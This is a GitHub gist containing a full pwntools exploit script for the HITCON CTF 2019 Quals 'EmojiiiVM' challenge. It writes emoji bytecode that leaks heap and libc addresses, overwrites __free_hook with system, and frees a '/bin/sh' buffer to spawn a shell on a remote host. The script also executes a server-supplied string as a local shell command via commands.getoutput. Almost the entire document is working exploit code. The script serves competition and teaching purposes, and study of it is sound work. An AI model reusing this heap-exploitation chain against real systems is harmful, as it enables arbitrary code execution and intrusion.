Created
October 19, 2019 06:48
-
-
Save hama7230/96e41317208c98591bc66b3ff1a3cd27 to your computer and use it in GitHub Desktop.
HITCON CTF 2019 Quals EmojiiiVM
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
from pwn import * | |
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window | |
# context(terminal=['tmux', 'new-window']) # open new window | |
# libc = ELF('') | |
elf = ELF('./emojivm') | |
context(os='linux', arch=elf.arch) | |
context(log_level='debug') # output verbose log | |
RHOST = "3.115.176.164" | |
RPORT = 30262 | |
LHOST = "127.0.0.1" | |
LPORT = 30262 | |
def section_addr(name, elf=elf): | |
return elf.get_section_by_name(name).header['sh_addr'] | |
def dbg(ss): | |
log.info("%s: 0x%x" % (ss, eval(ss))) | |
# exploit | |
log.info('Pwning') | |
asm_opcodes = {'NOP': 0x1F233, 'ADD': 0x2795, 'SUB': 0x2796, 'MUL': 0x274C, 'MOD': 0x2753, 'XOR': 0x274E, 'AND': 0x1F46B, 'CMP_LT': 0x1F480, 'CMP_EQ': 0x1F4AF, 'JMP': 0x1F680, 'JZ': 0x1F236, 'JNZ': 0x1F21A, 'PUSH': 0x23EC, 'POP': 0x1F51D, 'OP_15': 0x1F4E4, 'OP_16': 0x1F4E5, 'OP_17': 0x1F195, 'OP_18': 0x1F193, 'READ': 0x1F4C4, 'PRINT': 0x1F4DD, 'DUMP_STACK': 0x1F521, 'PUTC': 0x1F522, 'EXIT': 0x1F6D1} | |
asm_args = {0:0x1F600, 1:0x1F601, 2:0x1F602, 3:0x1F923, 4:0x1F61C, 5:0x1F604, 6:0x1F605, 7:0x1F606, 8:0x1F609, 9:0x1F60A, 10:0x1F60D} | |
def add(): | |
opcode = '\\U{0:08x}'.format(asm_opcodes['ADD']).decode('unicode-escape') | |
return opcode | |
def sub(): | |
opcode = '\\U{0:08x}'.format(asm_opcodes['SUB']).decode('unicode-escape') | |
return opcode | |
def pop(): | |
opcode = '\\U{0:08x}'.format(asm_opcodes['POP']).decode('unicode-escape') | |
return opcode | |
def push(val): | |
opcode = '\\U{0:08x}'.format(asm_opcodes['PUSH']).decode('unicode-escape') | |
oprand = '\\U{0:08x}'.format(asm_args[val]).decode('unicode-escape') | |
return opcode + oprand | |
def op_get(): | |
opcode = '\\U{0:08x}'.format(asm_opcodes['OP_15']).decode('unicode-escape') | |
return opcode | |
def op_put(): | |
opcode = '\\U{0:08x}'.format(asm_opcodes['OP_16']).decode('unicode-escape') | |
return opcode | |
def op_malloc(): | |
opcode = '\\U{0:08x}'.format(asm_opcodes['OP_17']).decode('unicode-escape') | |
return opcode | |
def op_free(): | |
opcode = '\\U{0:08x}'.format(asm_opcodes['OP_18']).decode('unicode-escape') | |
return opcode | |
def op_read(): | |
opcode = '\\U{0:08x}'.format(asm_opcodes['READ']).decode('unicode-escape') | |
return opcode | |
def op_print(): | |
opcode = '\\U{0:08x}'.format(asm_opcodes['PRINT']).decode('unicode-escape') | |
return opcode | |
''' | |
def op_putc(): | |
opcode = '\\U{0:08x}'.format(asm_opcodes['PUTC']).decode('unicode-escape') | |
return opcode | |
''' | |
# sp = 0 | |
shellcode = (push(7) + push(8) + add() + op_malloc())*7 | |
shellcode += (push(7) + op_malloc()) * 1 | |
shellcode += (push(10) * 3 ) + add()*3 + push(2) + add() | |
shellcode += push(0) + push(7) + op_put() | |
# ptr+0x20 | |
shellcode += add()*3 + (push(10) * 3) + add()*3 + push(2) + add() | |
# print() for leaking heap address | |
shellcode += push(7) + op_print() | |
# read(libc, 0x20) | |
shellcode += push(7) + op_read() | |
# print() for leaking libc address offset 0x3ebcb0 | |
shellcode += push(7) + op_print() | |
# read(libc, 0x20) for modify | |
shellcode += push(7) + op_read() | |
# read(heap[6], 0xf) p64(0x20) + p64(libc_base + 0x3ed8e8) | |
shellcode += push(6) + op_read() | |
# ptr+0x20 | |
shellcode += pop() + (push(10) * 3) + add()*3 + push(2) + add() | |
# read(heap[0]) for '/bin/sh' | |
shellcode += push(0) + op_read() | |
# overwrite free_hook | |
shellcode += push(6) + op_read() | |
# trigger | |
shellcode += push(0) + op_free() | |
f = open('./pwn.emv', 'w') #.write(shellcode) | |
f.write(shellcode.encode('utf-8')) | |
f.close() | |
conn = None | |
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option | |
if opt in 'rl': | |
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) | |
import commands | |
conn.recvuntil(' token:\n') | |
a = conn.recvline()[:-1] | |
print repr(a) | |
b = commands.getoutput(a) | |
print repr(b) | |
conn.sendline(b) | |
elif opt == 'd': | |
gdbscript = """ | |
c | |
""" | |
conn = gdb.debug(['./emojivm', './pwn.emv'], gdbscript=gdbscript) | |
else: | |
conn = process(['./emojivm', './pwn.emv']) | |
# conn = process(['./emojivm']) | |
# conn = process(['./ramen'], env={'LD_PRELOAD': ''}) | |
if opt == 'a': gdb.attach(conn) | |
conn.sendlineafter('Your emoji file size: ( MAX: 1000 bytes )', str(len(shellcode.encode('utf-8')))) | |
conn.send(shellcode.encode('utf-8')) | |
conn.recvline() | |
heap_base = u64(conn.recv(6) + '\x00'*2) - 0x19b40 | |
dbg('heap_base') | |
conn.send('x'*0x20) | |
conn.recvuntil('x'*0x20) | |
libc_base = u64(conn.recv(6) + '\x00'*2) - 0x3ebcb0 | |
dbg('libc_base') | |
payload = flat(heap_base + 0x19b40, heap_base + 0x15a40, heap_base + 0x15a40, heap_base + 0x15a40) | |
conn.send(payload) | |
payload = flat(0x10, libc_base + 0x3ed8e8) | |
conn.send(payload[:0xf]) | |
conn.send('/bin/sh'.ljust(0xf, '\x00')) | |
conn.sendline(p64(libc_base + 0x4f440)) | |
conn.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment